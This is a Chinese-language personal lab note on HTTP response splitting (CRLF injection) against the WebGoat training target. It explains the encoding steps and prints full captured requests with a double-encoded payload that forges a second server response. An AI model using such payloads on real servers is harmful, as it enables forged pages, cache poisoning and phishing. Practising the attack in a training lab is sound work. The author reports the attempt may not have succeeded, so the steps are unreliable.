原理: HTTP 拆分响应攻击 也叫 CRLF 攻击
利用数据包中的%0d 换行符 %0a 回车 在一个数据包中再构造一个数据包
服务器解析 会返回2个响应包 第一个是正常响应包 第二个为 攻击者构造好的响应包
危害:1.构造XSS 可以获取很多别人服务器上的信息 刺激
2.污染缓存 缓存污染,欺骗缓存,使其相信使用HTTP拆分劫持的页面是一个很正常的页面,是一个服务器的副本
3.构造CSRF 可以让受害者 跳转到我们指定的网页 比如转钱什么的 前提是他当前浏览器 已经登陆了账户 我们劫持了后 他用代理服务器访问时 会访问我们劫持的转钱页面 从而使得 嗯 对
也就是 可利用这个漏洞 结合其他很多漏洞进行组合攻击
这里玩的靶场是 webgoat 很老的一个洞了
官方原理:攻击者在向 Web 服务器正常输入的请求中加入恶意代码,受到攻击的应用不会检查CR(回车,也可表示为%0d或 )和LF(换行,也可表示为%0a或 )
每个数据包键值后用 了 %0d %0a 实现一次换行 回车
这个要自己试了 理解才更清晰点 owaspbwa webgoat 靶场
POST请求好像就应该在数据里面进行%0d%0a 转义换行回车
而GET请求 可在 url中进行转义 这样 响应就被拆分成了2个数据包
注意转义要用2次url 编码 为什么 ? 第一次url编码 是提交时要用的 第二次是服务器解析用的
正常情况提交数据 浏览器会对数据进行一次url编码 数据到服务端 服务端会对收到的数据进行解码
狠麻烦 容易搞错
http数据包格式狠容易错的
第一次url编码 无论是使用在线编码还是用burp encode 进行编码 都容易出问题
还是自己构造好 就是麻烦
china
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT
Content-Length: 47
you have been hacked
这里每个换行 都有 url编码 %0d%0a
写脚本也行 手工也行 这个网站靠谱点:http://www.jsons.cn/urlencode/
url编码后 放在记事本 选择替换 把 %0A 换成%0D%0A
然后再进行一次url编码
burp 抓包
POST /WebGoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
Host: 192.168.202.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://192.168.202.134
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Connection: close
Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1
language=china%250D%250AContent-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250AContent-Type%253A%2520text%252Fhtml%250D%250ALast-Modified%253A%2520Mon%252C%252027%2520Oct%25202099%252014%253A50%253A18%2520GMT%250D%250AContent-Length%253A%252047%250D%250A%250D%250Ayou%2520have%2520been%2520hacked&SUBMIT=Search%21
获取到我们的相应包 继续转发
GET /WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=china%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202099%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0Ayou%20have%20been%20hacked HTTP/1.1
Host: 192.168.202.134
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
Connection: close
Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1
理论上应该成功了的
参考 https://www.cnblogs.com/arlenhou/articles/webgoatsplittinghttp.html
看了看 别人的博客 真就抄了又抄呗 其实就只看了作者 的 其他的抄的根本没有理解
再来 爷还不信了
要不就是webgoat 有bug 要不就是我代码错了